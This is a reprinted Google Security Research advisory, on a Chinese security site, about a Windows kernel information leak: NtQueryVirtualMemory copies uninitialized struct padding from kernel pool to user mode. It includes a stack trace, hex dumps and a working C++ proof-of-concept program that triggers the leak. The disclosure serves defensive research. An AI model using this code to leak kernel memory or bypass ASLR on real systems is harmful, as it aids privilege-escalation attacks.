首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Microsoft Windows Kernel - 'NtQueryVirtualMemory(MemoryMappedFilenameInformation
来源:Google Security Research 作者:Google 发布时间:2018-03-21  
/*
We have discovered that the nt!NtQueryVirtualMemory system call invoked with the 2 information class (MemoryMappedFilenameInformation) discloses portions of uninitialized kernel pool memory to user-mode clients. The vulnerability affects 64-bit versions of Windows 7 to 10.
 
The output buffer for this information class is a UNICODE_STRING structure followed by the actual filename string. The output data is copied back to user-mode memory under the following stack trace (on Windows 7 64-bit):
 
--- cut ---
  kd> k
   # Child-SP          RetAddr           Call Site
  00 fffff880`03cfd8c8 fffff800`02970229 nt!memcpy+0x3
  01 fffff880`03cfd8d0 fffff800`02970752 nt!IopQueryNameInternal+0x289
  02 fffff880`03cfd970 fffff800`02967bb4 nt!IopQueryName+0x26
  03 fffff880`03cfd9c0 fffff800`0296a80d nt!ObpQueryNameString+0xb0
  04 fffff880`03cfdac0 fffff800`0268d093 nt!NtQueryVirtualMemory+0x5fb
  05 fffff880`03cfdbb0 00000000`772abf6a nt!KiSystemServiceCopyEnd+0x13
--- cut ---
 
The UNICODE_STRING structure is defined as follows:
 
--- cut ---
  typedef struct _LSA_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
  } LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;
--- cut ---
 
On 64-bit builds, there is a 4-byte padding between the "MaximumLength" and "Buffer" fields inserted by the compiler, in order to align the "Buffer" pointer to 8 bytes. This padding is left uninitialized in the code and is copied in this form to user-mode clients, passing over left-over data from the kernel pool.
 
The issue can be reproduced by running the attached proof-of-concept program on a 64-bit system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at offsets 4-7 are equal to the markers inserted by Special Pools, and would otherwise contain junk data that was previously stored in that memory region:
 
--- cut ---
  00000000: 6c 00 6e 00[37 37 37 37]f0 f6 af 87 dd 00 00 00 l.n.7777........
--- cut ---
  00000000: 6c 00 6e 00[59 59 59 59]e0 f6 b3 0f c8 00 00 00 l.n.YYYY........
--- cut ---
  00000000: 6c 00 6e 00[7b 7b 7b 7b]40 f1 af 16 18 00 00 00 l.n.{{{{@.......
--- cut ---
  00000000: 6c 00 6e 00[a3 a3 a3 a3]80 f0 90 aa 33 00 00 00 l.n.........3...
--- cut --
 
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
 
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
 
typedef enum _MEMORY_INFORMATION_CLASS {
  MemoryMappedFilenameInformation = 2
} MEMORY_INFORMATION_CLASS;
 
extern "C"
NTSTATUS NTAPI NtQueryVirtualMemory(
  _In_      HANDLE                   ProcessHandle,
  _In_opt_  PVOID                    BaseAddress,
  _In_      MEMORY_INFORMATION_CLASS MemoryInformationClass,
  _Out_     PVOID                    MemoryInformation,
  _In_      SIZE_T                   MemoryInformationLength,
  _Out_opt_ PSIZE_T                  ReturnLength
);
 
VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
  PBYTE Data = (PBYTE)Buffer;
 
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);
 
    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }
 
    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }
 
    printf("\n");
  }
}
 
int main() {
  SIZE_T ReturnLength;
  BYTE OutputBuffer[1024];
 
  NTSTATUS st = NtQueryVirtualMemory(GetCurrentProcess(),
                                     &main,
                                     MemoryMappedFilenameInformation,
                                     OutputBuffer,
                                     sizeof(OutputBuffer),
                                     &ReturnLength);
 
  if (!NT_SUCCESS(st)) {
    printf("NtQueryVirtualMemory failed, %x\n", st);
    ExitProcess(1);
  }
 
  PrintHex(OutputBuffer, sizeof(UNICODE_STRING));
 
  return 0;
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Google Software Updater macOS
·Microsoft Windows Kernel - 'Nt
·Crashmail 1.6 Buffer Overflow
·Microsoft Windows Kernel - 'nt
·Linux Kernel < 4.4.0-21 (Ubunt
·Microsoft Windows Kernel - 'nt
·Linux Kernel < 3.5.0-23 (Ubunt
·Internet Explorer - 'RegExp.la
·Linux Kernel < 4.4.0-116 (Ubun
·Microsoft Windows - Desktop Br
·Easy Chat Server 3.1 Buffer Ov
·Kamailio 5.1.1 / 5.1.0 / 5.0.0
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved